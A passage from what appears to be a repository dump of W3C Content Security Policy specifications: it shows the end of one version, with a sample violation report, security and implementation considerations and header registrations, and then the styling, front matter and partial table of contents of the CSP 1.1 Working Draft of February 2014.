\"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}</pre>\n\n      </section>\n    </section>\n    <section>\n      <h2>Security Considerations</h2>\n      <section>\n        <h3>Cascading Style Sheet (CSS) Parsing</h3>\n\n        <p>The <code>style-src</code> directive restricts the locations from\n        which the protected resource can load styles. However, if the user agent uses a\n        lax CSS parsing algorithm, an attacker might be able to trick the user\n        agent into accepting malicious \"style sheets\" hosted by an otherwise\n        trustworthy origin.</p>\n\n        <p>These attacks are similar to the <a\n        href=\"http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">CSS\n        cross-origin data leakage</a> attack described by Chris Evans in 2009.\n        User agents SHOULD defend against both attacks using the same\n        mechanism: stricter CSS parsing rules for style sheets with improper\n        MIME types.</p>\n      </section>\n      <section>\n        <h3>Violation Reports</h3>\n\n        <p>The violation reporting mechanism in this document has been\n        designed to mitigate the risk that a malicious web site could use\n        violation reports to probe the behavior of other servers. For example,\n        consider a malicious web site that white lists <code>https://example.com</code>\n        as a source of images. If the malicious site attempts to load\n        <code>https://example.com/login</code> as an image, and the\n        <code>example.com</code> server redirects to an identity provider (e.g.,\n        <code>idenityprovider.example.net</code>), CSP will block the request.\n        If violation reports contained the full blocked URL, the violation\n        report might contain sensitive information contained in the redirected URI,\n        such as session identifiers or purported identities. For this reason, the\n        user agent includes only the origin of the blocked URI.</p>\n      </section>\n    </section>\n    <section>\n      <h2>Implementation Considerations</h2>\n\n      <p>The <code>Content-Security-Policy</code> header is an end-to-end\n      header.  It is processed and enforced at the client and, therefore,\n      SHOULD NOT be modified or removed by proxies or other intermediaries not\n      in the same administrative domain as the resource.</p>\n\n      <p>The originating administrative domain for a resource might wish to\n      apply a <code>Content-Security-Policy</code> header outside of the\n      immediate context of an application.  For example, a large organization\n      might have many resources and applications managed by different\n      individuals or teams but all subject to a uniform organizational\n      standard. In such situations, a <code>Content-Security-Policy</code>\n      header might be added or combined with an existing one at a network-edge\n      security gateway device or web application firewall.  To enforce multiple\n      policies, the administrator SHOULD combine the policy into a single header.\n      An administrator might wish to use different combination algorithms\n      depending on his or her intended semantics.</p>\n\n      <p>One sensible policy combination algorithm is to start by allowing a\n      default set of sources and then letting individual upstream resource\n      owners expand the set of allowed sources by including additional origins.\n      In this approach, the resultant policy is the union of all allowed\n      origins in the input policies.</p>\n\n      <p>Another sensible policy combination algorithm is to intersect the\n      given policies.  This approach enforces that content comes from a certain\n      whitelist of origins, for example, preventing developers from including\n      third-party scripts or content in violation of organizational standards\n      and practices.  In this approach, the combination algorithm forms the\n      combined policy by removing disallowed hosts from the policies supplied\n      by upstream resource owners.</p>\n\n      <p>Interactions between the <code>default-src</code> and other directives\n      SHOULD be given special consideration when combining policies.  If none\n      of the policies contains a <code>default-src</code> directive, adding new\n      src directives results in a more restrictive policy.  However, if one or\n      more of the input policies contain a <code>default-src</code> directive,\n      adding new src directives might result in a less restrictive policy, for\n      example, if the more specific directive contains a more permissive set of\n      allowed origins.</p>\n\n      <p>Using a more restrictive policy than the input policy authored by the\n      resource owner might prevent the resource from rendering or operating as\n      intended.</p>\n    </section>\n    <section>\n      <h2>IANA Considerations</h2>\n\n      <p>The permanent message header field registry (see [<a\n      href=\"http://tools.ietf.org/html/rfc3864\">RFC3864</a>]) should be updated\n      with the following registrations:</p>\n\n      <section>\n        <h2>Content-Security-Policy</h2>\n\n        <p>Header field name: Content-Security-Policy</p>\n\n        <p>Applicable protocol: http</p>\n\n        <p>Status: standard</p>\n\n        <p>Author/Change controller: W3C</p>\n\n        <p>Specification document: this specification (See <a\n        href=\"#content-security-policy-header-field\"><code>Content-Security-Policy</code>\n        Header Field</a>)</p>\n      </section>\n\n      <section>\n        <h2>Content-Security-Policy-Report-Only</h2>\n\n        <p>Header field name: Content-Security-Policy-Report-Only</p>\n\n        <p>Applicable protocol: http</p>\n\n        <p>Status: standard</p>\n\n        <p>Author/Change controller: W3C</p>\n\n        <p>Specification document: this specification (See <a\n        href=\"#content-security-policy-report-only-header-field\"><code>Content-Security-Policy-Report-Only</code>\n        Header Field</a>)</p>\n      </section>\n    </section>\n  </body>\n</html>\n"
  },
  {
    "path": "published/2014-02-04-CSP-1-1-WD.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" dir=\"ltr\" typeof=\"bibo:Document w3p:WD\" about=\"\" property=\"dcterms:language\" content=\"en\">\n<head>\n    <title>Content Security Policy 1.1</title>\n    <meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">\n    <!--\n      === NOTA BENE ===\n      For the three scripts below, if your spec resides on dev.w3 you can check them\n      out in the same tree and use relative links so that they'll work offline.\n     -->\n    \n    <!--\n      Configure respec information via 'respect-config.js' (moved out of line\n      in order to set a reasonable example by defining a policy for this\n      document. :)\n    -->\n    \n  <style>/*****************************************************************\n * ReSpec 3 CSS\n * Robin Berjon - http://berjon.com/\n *****************************************************************/\n\n/* --- INLINES --- */\nem.rfc2119 { \n    text-transform:     lowercase;\n    font-variant:       small-caps;\n    font-style:         normal;\n    color:              #900;\n}\n\nh1 acronym, h2 acronym, h3 acronym, h4 acronym, h5 acronym, h6 acronym, a acronym,\nh1 abbr, h2 abbr, h3 abbr, h4 abbr, h5 abbr, h6 abbr, a abbr {\n    border: none;\n}\n\ndfn {\n    font-weight:    bold;\n}\n\na.internalDFN {\n    color:  inherit;\n    border-bottom:  1px solid #99c;\n    text-decoration:    none;\n}\n\na.externalDFN {\n    color:  inherit;\n    border-bottom:  1px dotted #ccc;\n    text-decoration:    none;\n}\n\na.bibref {\n    text-decoration:    none;\n}\n\ncite .bibref {\n    font-style: normal;\n}\n\ncode {\n    color:  #ff4500;\n}\n\n/* --- TOC --- */\n.toc a, .tof a {\n    text-decoration:    none;\n}\n\na .secno, a .figno {\n    color:  #000;\n}\n\nul.tof, ol.tof {\n    list-style: none outside none;\n}\n\n.caption {\n    margin-top: 0.5em;\n    font-style:   italic;\n}\n\n/* --- TABLE --- */\ntable.simple {\n    border-spacing: 0;\n    border-collapse:    collapse;\n    border-bottom:  3px solid #005a9c;\n}\n\n.simple th {\n    background: #005a9c;\n    color:  #fff;\n    padding:    3px 5px;\n    text-align: left;\n}\n\n.simple th[scope=\"row\"] {\n    background: inherit;\n    color:  inherit;\n    border-top: 1px solid #ddd;\n}\n\n.simple td {\n    padding:    3px 10px;\n    border-top: 1px solid #ddd;\n}\n\n.simple tr:nth-child(even) {\n    background: #f0f6ff;\n}\n\n/* --- DL --- */\n.section dd > p:first-child {\n    margin-top: 0;\n}\n\n.section dd > p:last-child {\n    margin-bottom: 0;\n}\n\n.section dd {\n    margin-bottom:  1em;\n}\n\n.section dl.attrs dd, .section dl.eldef dd {\n    margin-bottom:  0;\n}\n\n@media print {\n    .removeOnSave {\n        display: none;\n    }\n}\n</style><style>/* --- WEB IDL --- */\npre.idl {\n    border-top: 1px solid #90b8de;\n    border-bottom: 1px solid #90b8de;\n    padding:    1em;\n    line-height:    120%;\n}\n\npre.idl::before {\n    content:    \"WebIDL\";\n    display:    block;\n    width:      150px;\n    background: #90b8de;\n    color:  #fff;\n    font-family:    initial;\n    padding:    3px;\n    font-weight:    bold;\n    margin: -1em 0 1em -1em;\n}\n\n.idlType {\n    color:  #ff4500;\n    font-weight:    bold;\n    text-decoration:    none;\n}\n\n/*.idlModule*/\n/*.idlModuleID*/\n/*.idlInterface*/\n.idlInterfaceID, .idlDictionaryID, .idlCallbackID, .idlEnumID {\n    font-weight:    bold;\n    color:  #005a9c;\n}\na.idlEnumItem {\n    color:  #000;\n    border-bottom:  1px dotted #ccc;\n    text-decoration: none;\n}\n\n.idlSuperclass {\n    font-style: italic;\n    color:  #005a9c;\n}\n\n/*.idlAttribute*/\n.idlAttrType, .idlFieldType, .idlMemberType {\n    color:  #005a9c;\n}\n.idlAttrName, .idlFieldName, .idlMemberName {\n    color:  #ff4500;\n}\n.idlAttrName a, .idlFieldName a, .idlMemberName a {\n    color:  #ff4500;\n    border-bottom:  1px dotted #ff4500;\n    text-decoration: none;\n}\n\n/*.idlMethod*/\n.idlMethType, .idlCallbackType {\n    color:  #005a9c;\n}\n.idlMethName {\n    color:  #ff4500;\n}\n.idlMethName a {\n    color:  #ff4500;\n    border-bottom:  1px dotted #ff4500;\n    text-decoration: none;\n}\n\n/*.idlCtor*/\n.idlCtorName {\n    color:  #ff4500;\n}\n.idlCtorName a {\n    color:  #ff4500;\n    border-bottom:  1px dotted #ff4500;\n    text-decoration: none;\n}\n\n/*.idlParam*/\n.idlParamType {\n    color:  #005a9c;\n}\n.idlParamName, .idlDefaultValue {\n    font-style: italic;\n}\n\n.extAttr {\n    color:  #666;\n}\n\n/*.idlSectionComment*/\n.idlSectionComment {\n    color: gray;\n}\n\n/*.idlConst*/\n.idlConstType {\n    color:  #005a9c;\n}\n.idlConstName {\n    color:  #ff4500;\n}\n.idlConstName a {\n    color:  #ff4500;\n    border-bottom:  1px dotted #ff4500;\n    text-decoration: none;\n}\n\n/*.idlException*/\n.idlExceptionID {\n    font-weight:    bold;\n    color:  #c00;\n}\n\n.idlTypedefID, .idlTypedefType {\n    color:  #005a9c;\n}\n\n.idlRaises, .idlRaises a.idlType, .idlRaises a.idlType code, .excName a, .excName a code {\n    color:  #c00;\n    font-weight:    normal;\n}\n\n.excName a {\n    font-family:    monospace;\n}\n\n.idlRaises a.idlType, .excName a.idlType {\n    border-bottom:  1px dotted #c00;\n}\n\n.excGetSetTrue, .excGetSetFalse, .prmNullTrue, .prmNullFalse, .prmOptTrue, .prmOptFalse {\n    width:  45px;\n    text-align: center;\n}\n.excGetSetTrue, .prmNullTrue, .prmOptTrue { color:  #0c0; }\n.excGetSetFalse, .prmNullFalse, .prmOptFalse { color:  #c00; }\n\n.idlImplements a {\n    font-weight:    bold;\n}\n\ndl.attributes, dl.methods, dl.constants, dl.constructors, dl.fields, dl.dictionary-members {\n    margin-left:    2em;\n}\n\n.attributes dt, .methods dt, .constants dt, .constructors dt, .fields dt, .dictionary-members dt {\n    font-weight:    normal;\n}\n\n.attributes dt code, .methods dt code, .constants dt code, .constructors dt code, .fields dt code, .dictionary-members dt code {\n    font-weight:    bold;\n    color:  #000;\n    font-family:    monospace;\n}\n\n.attributes dt code, .fields dt code, .dictionary-members dt code {\n    background:  #ffffd2;\n}\n\n.attributes dt .idlAttrType code, .fields dt .idlFieldType code, .dictionary-members dt .idlMemberType code {\n    color:  #005a9c;\n    background:  transparent;\n    font-family:    inherit;\n    font-weight:    normal;\n    font-style: italic;\n}\n\n.methods dt code {\n    background:  #d9e6f8;\n}\n\n.constants dt code {\n    background:  #ddffd2;\n}\n\n.constructors dt code {\n    background:  #cfc;\n}\n\n.attributes dd, .methods dd, .constants dd, .constructors dd, .fields dd, .dictionary-members dd {\n    margin-bottom:  1em;\n}\n\ntable.parameters, table.exceptions {\n    border-spacing: 0;\n    border-collapse:    collapse;\n    margin: 0.5em 0;\n    width:  100%;\n}\ntable.parameters { border-bottom:  1px solid #90b8de; }\ntable.exceptions { border-bottom:  1px solid #deb890; }\n\n.parameters th, .exceptions th {\n    color:  #fff;\n    padding:    3px 5px;\n    text-align: left;\n    font-family:    initial;\n    font-weight:    normal;\n    text-shadow:    #666 1px 1px 0;\n}\n.parameters th { background: #90b8de; }\n.exceptions th { background: #deb890; }\n\n.parameters td, .exceptions td {\n    padding:    3px 10px;\n    border-top: 1px solid #ddd;\n    vertical-align: top;\n}\n\n.parameters tr:first-child td, .exceptions tr:first-child td {\n    border-top: none;\n}\n\n.parameters td.prmName, .exceptions td.excName, .exceptions td.excCodeName {\n    width:  100px;\n}\n\n.parameters td.prmType {\n    width:  120px;\n}\n\ntable.exceptions table {\n    border-spacing: 0;\n    border-collapse:    collapse;\n    width:  100%;\n}\n</style><link rel=\"stylesheet\" href=\"https://www.w3.org/StyleSheets/TR/W3C-WD\"><!--[if lt IE 9]><script src='https://www.w3.org/2008/site/js/html5shiv.js'></script><![endif]--></head>\n  <body class=\"h-entry\" role=\"document\" id=\"respecDocument\"><div class=\"head\" role=\"contentinfo\" id=\"respecHeader\">\n  <p>\n    \n      <a href=\"http://www.w3.org/\"><img width=\"72\" height=\"48\" src=\"https://www.w3.org/Icons/w3c_home\" alt=\"W3C\"></a>\n    \n  </p>\n  <h1 class=\"title p-name\" id=\"title\" property=\"dcterms:title\">Content Security Policy 1.1</h1>\n  \n  <h2 property=\"dcterms:issued\" datatype=\"xsd:dateTime\" content=\"2014-02-04T22:34:43.000Z\" id=\"w3c-working-draft-04-february-2014\"><abbr title=\"World Wide Web Consortium\">W3C</abbr> Working Draft <time class=\"dt-published\" datetime=\"2014-02-04\">04 February 2014</time></h2>\n  <dl>\n    \n      <dt>This version:</dt>\n      <dd><a class=\"u-url\" href=\"http://www.w3.org/TR/2014/WD-CSP11-20140204/\">http://www.w3.org/TR/2014/WD-CSP11-20140204/</a></dd>\n      <dt>Latest published version:</dt>\n      <dd><a href=\"http://www.w3.org/TR/CSP11/\">http://www.w3.org/TR/CSP11/</a></dd>\n    \n    \n      <dt>Latest editor's draft:</dt>\n      <dd><a href=\"http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html\">http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html</a></dd>\n    \n    \n    \n    \n    \n    \n      <dt>Previous version:</dt>\n      <dd><a rel=\"dcterms:replaces\" href=\"http://www.w3.org/TR/2013/WD-CSP11-20130604/\">http://www.w3.org/TR/2013/WD-CSP11-20130604/</a></dd>\n    \n    \n    <dt>Editors:</dt>\n    <dd class=\"p-author h-card vcard\" rel=\"bibo:editor\" inlist=\"\"><span typeof=\"foaf:Person\"><a class=\"u-url url p-name fn\" rel=\"foaf:homepage\" property=\"foaf:name\" content=\"Adam Barth\" href=\"mailto:w3c@adambarth.com\">Adam Barth</a>, <a rel=\"foaf:workplaceHomepage\" class=\"p-org org h-org h-card\" href=\"http://www.google.com/\">Google, Inc.</a></span>\n</dd>\n<dd class=\"p-author h-card vcard\" rel=\"bibo:editor\" inlist=\"\"><span typeof=\"foaf:Person\"><a class=\"u-url url p-name fn\" rel=\"foaf:homepage\" property=\"foaf:name\" content=\"Dan Veditz\" href=\"mailto:dveditz@mozilla.com\">Dan Veditz</a>, <a rel=\"foaf:workplaceHomepage\" class=\"p-org org h-org h-card\" href=\"http://www.mozilla.com/\">Mozilla Corporation</a></span>\n</dd>\n<dd class=\"p-author h-card vcard\" rel=\"bibo:editor\" inlist=\"\"><span typeof=\"foaf:Person\"><a class=\"u-url url p-name fn\" rel=\"foaf:homepage\" property=\"foaf:name\" content=\"Mike West\" href=\"mailto:mkwst@google.com\">Mike West</a>, <a rel=\"foaf:workplaceHomepage\" class=\"p-org org h-org h-card\" href=\"http://www.google.com/\">Google, Inc.</a></span>\n</dd>\n\n    \n    \n  </dl>\n  \n  \n  \n  \n    \n      <p class=\"copyright\">\n        <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> ©\n        2010-2014\n        \n        <a href=\"http://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup>\n        (<a href=\"http://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>,\n        <a href=\"http://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>,\n        <a href=\"http://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>), \n        \n        All Rights Reserved.\n        \n        <abbr title=\"World Wide Web Consortium\">W3C</abbr> <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>,\n        <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and\n        \n          <a href=\"http://www.w3.org/Consortium/Legal/copyright-documents\">document use</a>\n        \n        rules apply.\n      </p>\n    \n  \n  <hr>\n</div>\n    <section id=\"abstract\" class=\"introductory\" property=\"dcterms:abstract\" datatype=\"\" typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\"><h2 aria-level=\"1\" role=\"heading\" id=\"h2_abstract\">Abstract</h2>\n      <p>This document defines a policy language used to declare a set of\n      content restrictions for a web resource, and a mechanism for\n      transmitting the policy from a server to a client where the policy is\n      enforced.</p>\n    </section><section id=\"sotd\" class=\"introductory\" typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\"><h2 aria-level=\"1\" role=\"heading\" id=\"h2_sotd\">Status of This Document</h2>\n  \n    \n      \n        <p>\n          <em>This section describes the status of this document at the time of its publication.\n          Other documents may supersede this document. A list of current <abbr title=\"World Wide Web Consortium\">W3C</abbr> publications and the\n          latest revision of this technical report can be found in the <a href=\"http://www.w3.org/TR/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr> technical reports index</a> at\n          http://www.w3.org/TR/.</em>\n        </p>\n        \n      <p><strong>Changes to this document may be tracked at\n      <a href=\"https://github.com/w3c/webappsec\">https://github.com/w3c/webappsec</a>.</strong></p>\n\n      <p>This document describes an evolution of the Content-Security-Policy 1.0\n      specification.  Version 1.1 is backwards compatible with 1.0 and adds\n      support for a number of new directives that web sites can use to ease\n      deployment of Content-Security-Policy and to improve security.</p>\n\n      <p>In addition to the documents in the <abbr title=\"World Wide Web Consortium\">W3C</abbr> Web Application Security\n      working group, the work on this document is also informed by the work of\n      the <a href=\"http://tools.ietf.org/wg/websec/\">IETF websec working\n      group</a>, particularly that working group's requirements document:\n      <a href=\"http://tools.ietf.org/id/draft-hodges-websec-framework-reqs\">draft-hodges-websec-framework-reqs</a>.</p>\n\n      <p>A portion of the <code>frame-ancestors</code> directive was originally\n      developed as <code>X-Frame-Options</code>. [<cite><a class=\"bibref\" href=\"#bib-RFC7034\">RFC7034</a></cite>]</p>\n    \n        <p>\n          This document was published by the <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a> as a Working Draft.\n          \n            This document is intended to become a <abbr title=\"World Wide Web Consortium\">W3C</abbr> Recommendation.\n          \n          \n            If you wish to make comments regarding this document, please send them to \n            <a href=\"mailto:public-webappsec@w3.org\">public-webappsec@w3.org</a> \n            (<a href=\"mailto:public-webappsec-request@w3.org?subject=subscribe\">subscribe</a>,\n            <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archives</a>).\n          \n          \n          \n          \n            All comments are welcome.\n          \n        </p>\n        \n        \n          <p>\n            Publication as a Working Draft does not imply endorsement by the <abbr title=\"World Wide Web Consortium\">W3C</abbr>\n            Membership. This is a draft document and may be updated, replaced or obsoleted by other\n            documents at any time. It is inappropriate to cite this document as other than work in\n            progress.\n          </p>\n        \n        \n        \n        <p>\n          \n            This document was produced by a group operating under the \n            <a id=\"sotd_patent\" about=\"\" rel=\"w3p:patentRules\" href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 <abbr title=\"World Wide Web Consortium\">W3C</abbr> Patent\n            Policy</a>.\n          \n          \n          \n            \n              <abbr title=\"World Wide Web Consortium\">W3C</abbr> maintains a <a href=\"http://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent\n              disclosures</a> \n            \n            made in connection with the deliverables of the group; that page also includes\n            instructions for disclosing a patent. An individual who has actual knowledge of a patent\n            which the individual believes contains\n            <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential\n            Claim(s)</a> must disclose the information in accordance with\n            <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section\n            6 of the <abbr title=\"World Wide Web Consortium\">W3C</abbr> Patent Policy</a>.\n          \n          \n        </p>\n        \n      \n    \n  \n</section><section id=\"toc\"><h2 class=\"introductory\" aria-level=\"1\" role=\"heading\" id=\"h2_toc\">Table of Contents</h2><ul class=\"toc\" role=\"directory\" id=\"respecContents\"><li class=\"tocline\"><a href=\"#introduction\" class=\"tocxref\"><span class=\"secno\">1. </span>Introduction</a></li><li class=\"tocline\"><a href=\"#conformance\" class=\"tocxref\"><span class=\"secno\">2. </span>Conformance</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#key-concepts-and-terminology\" class=\"tocxref\"><span class=\"secno\">2.1 </span>Key Concepts and Terminology</a></li></ul></li><li class=\"tocline\"><a href=\"#framework\" class=\"tocxref\"><span class=\"secno\">3. </span>Framework</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#policy-delivery\" class=\"tocxref\"><span class=\"secno\">3.1 </span>Policy Delivery</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#content-security-policy-header-field\" class=\"tocxref\"><span class=\"secno\">3.1.1 </span><code>Content-Security-Policy</code> Header Field</a></li><li class=\"tocline\"><a href=\"#content-security-policy-report-only-header-field\" class=\"tocxref\"><span class=\"secno\">3.1.2 </span><code>Content-Security-Policy-Report-Only</code> Header Field</a></li><li class=\"tocline\"><a href=\"#html-meta-element\" class=\"tocxref\"><span class=\"secno\">3.1.3 </span>HTML <code>meta</code> Element</a></li><li class=\"tocline\"><a href=\"#enforcing-multiple-policies.x\" class=\"tocxref\"><span class=\"secno\">3.1.4 </span>Enforcing multiple policies.</a></li></ul></li><li class=\"tocline\"><a href=\"#syntax-and-algorithms\" class=\"tocxref\"><span class=\"secno\">3.2 </span>Syntax and Algorithms</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#policies\" class=\"tocxref\"><span class=\"secno\">3.2.1 </span>Policies</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#parsing\" class=\"tocxref\"><span class=\"secno\">3.2.1.1 </span>Parsing</a></li></ul></li><li class=\"tocline\"><a href=\"#source-list\" class=\"tocxref\"><span class=\"secno\">3.2.2 </span>Source List</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#parsing-1\" class=\"tocxref\"><span class=\"secno\">3.2.2.1 </span>Parsing</a></li><li class=\"tocline\"><a href=\"#matching\" class=\"tocxref\"><span class=\"secno\">3.2.2.2 </span>Matching</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#path-matching\" class=\"tocxref\"><span class=\"secno\">3.2.2.2.1 </span>Path Matching</a></li></ul></li><li class=\"tocline\"><a href=\"#valid-nonces\" class=\"tocxref\"><span class=\"secno\">3.2.2.3 </span>Valid Nonces</a></li><li class=\"tocline\"><a href=\"#valid-hashes\" class=\"tocxref\"><span class=\"secno\">3.2.2.4 </span>Valid Hashes</a></li><li class=\"tocline\"><a href=\"#media-type-list\" class=\"tocxref\"><span class=\"secno\">3.2.2.5 </span>Media Type List</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#parsing-2\" class=\"tocxref\"><span class=\"secno\">3.2.2.5.1 </span>Parsing</a></li><li class=\"tocline\"><a href=\"#matching-1\" class=\"tocxref\"><span class=\"secno\">3.2.2.5.2 </span>Matching</a></li></ul></li><li class=\"tocline\"><a href=\"#reporting\" class=\"tocxref\"><span class=\"secno\">3.2.2.6 </span>Reporting</a></li></ul></li><li class=\"tocline\"><a href=\"#processing-model\" class=\"tocxref\"><span class=\"secno\">3.2.3 </span>Processing Model</a></li><li class=\"tocline\"><a href=\"#script-interfaces\" class=\"tocxref\"><span class=\"secno\">3.2.4 </span>Script Interfaces</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#securitypolicyviolationevent-events\" class=\"tocxref\"><span class=\"secno\">3.2.4.1 </span><code>SecurityPolicyViolationEvent</code> Events</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#attributes\" class=\"tocxref\"><span class=\"secno\">3.2.4.1.1 </span>Attributes</a></li><li class=\"tocline\"><a href=\"#dictionary-securitypolicyviolationeventinit-members\" class=\"tocxref\"><span class=\"secno\">3.2.4.1.2 </span>Dictionary <span class=\"formerLink\"><code>SecurityPolicyViolationEventInit</code></span> Members</a></li><li class=\"tocline\"><a href=\"#firing-events-using-the-securitypolicyviolationevent-interface\" class=\"tocxref\"><span class=\"secno\">3.2.4.1.3 </span>Firing events using the <code>SecurityPolicyViolationEvent</code> interface</a></li></ul></li></ul></li><li class=\"tocline\"><a href=\"#directives\" class=\"tocxref\"><span class=\"secno\">3.2.5 </span>Directives</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#base-uri\" class=\"tocxref\"><span class=\"secno\">3.2.5.1 </span><code>base-uri</code></a></li><li class=\"tocline\"><a href=\"#child-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.2 </span><code>child-src</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#nested-browsing-contexts\" class=\"tocxref\"><span class=\"secno\">3.2.5.2.1 </span>Nested Browsing Contexts</a></li><li class=\"tocline\"><a href=\"#auxiliary-browsing-contexts\" class=\"tocxref\"><span class=\"secno\">3.2.5.2.2 </span>Auxiliary Browsing Contexts</a></li><li class=\"tocline\"><a href=\"#workers\" class=\"tocxref\"><span class=\"secno\">3.2.5.2.3 </span>Workers</a></li></ul></li><li class=\"tocline\"><a href=\"#connect-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.3 </span><code>connect-src</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#usage\" class=\"tocxref\"><span class=\"secno\">3.2.5.3.1 </span>Usage</a></li></ul></li><li class=\"tocline\"><a href=\"#default-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.4 </span><code>default-src</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#usage-1\" class=\"tocxref\"><span class=\"secno\">3.2.5.4.1 </span>Usage</a></li></ul></li><li class=\"tocline\"><a href=\"#font-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.5 </span><code>font-src</code></a></li><li class=\"tocline\"><a href=\"#form-action\" class=\"tocxref\"><span class=\"secno\">3.2.5.6 </span><code>form-action</code></a></li><li class=\"tocline\"><a href=\"#frame-ancestors\" class=\"tocxref\"><span class=\"secno\">3.2.5.7 </span><code>frame-ancestors</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#multiple-host-source-values\" class=\"tocxref\"><span class=\"secno\">3.2.5.7.1 </span>Multiple Host Source Values</a></li></ul></li><li class=\"tocline\"><a href=\"#frame-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.8 </span><code>frame-src</code></a></li><li class=\"tocline\"><a href=\"#img-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.9 </span><code>img-src</code></a></li><li class=\"tocline\"><a href=\"#media-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.10 </span><code>media-src</code></a></li><li class=\"tocline\"><a href=\"#object-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.11 </span><code>object-src</code></a></li><li class=\"tocline\"><a href=\"#plugin-types\" class=\"tocxref\"><span class=\"secno\">3.2.5.12 </span><code>plugin-types</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#usage-2\" class=\"tocxref\"><span class=\"secno\">3.2.5.12.1 </span>Usage</a></li><li class=\"tocline\"><a href=\"#predeclaration-of-expected-media-types\" class=\"tocxref\"><span class=\"secno\">3.2.5.12.2 </span>Predeclaration of expected media types</a></li></ul></li><li class=\"tocline\"><a href=\"#referrer\" class=\"tocxref\"><span class=\"secno\">3.2.5.13 </span><code>referrer</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#processing-multiple-referrer-policies\" class=\"tocxref\"><span class=\"secno\">3.2.5.13.1 </span>Processing multiple referrer policies</a></li><li class=\"tocline\"><a href=\"#usage-3\" class=\"tocxref\"><span class=\"secno\">3.2.5.13.2 </span>Usage</a></li></ul></li><li class=\"tocline\"><a href=\"#reflected-xss\" class=\"tocxref\"><span class=\"secno\">3.2.5.14 </span><code>reflected-xss</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#relationship-to-x-xss-protection\" class=\"tocxref\"><span class=\"secno\">3.2.5.14.1 </span>Relationship to <code>X-XSS-Protection</code></a></li></ul></li><li class=\"tocline\"><a href=\"#report-uri\" class=\"tocxref\"><span class=\"secno\">3.2.5.15 </span><code>report-uri</code></a></li><li class=\"tocline\"><a href=\"#sandbox\" class=\"tocxref\"><span class=\"secno\">3.2.5.16 </span><code>sandbox</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#usage-4\" class=\"tocxref\"><span class=\"secno\">3.2.5.16.1 </span>Usage</a></li></ul></li><li class=\"tocline\"><a href=\"#script-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.17 </span><code>script-src</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#nonce-usage-for-script-elements\" class=\"tocxref\"><span class=\"secno\">3.2.5.17.1 </span>Nonce usage for <code>script</code> elements</a></li><li class=\"tocline\"><a href=\"#hash-usage-for-script-elements\" class=\"tocxref\"><span class=\"secno\">3.2.5.17.2 </span>Hash usage for <code>script</code> elements</a></li></ul></li><li class=\"tocline\"><a href=\"#style-src\" class=\"tocxref\"><span class=\"secno\">3.2.5.18 </span><code>style-src</code></a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#nonce-usage-for-style-elements\" class=\"tocxref\"><span class=\"secno\">3.2.5.18.1 </span>Nonce usage for <code>style</code> elements</a></li><li class=\"tocline\"><a href=\"#hash-usage-for-style-elements\" class=\"tocxref\"><span class=\"secno\">3.2.5.18.2 </span>Hash usage for <code>style</code> elements</a></li></ul></li></ul></li><li class=\"tocline\"><a href=\"#examples\" class=\"tocxref\"><span class=\"secno\">3.2.6 </span>Examples</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#sample-policy-definitions\" class=\"tocxref\"><span class=\"secno\">3.2.6.1 </span>Sample Policy Definitions</a></li><li 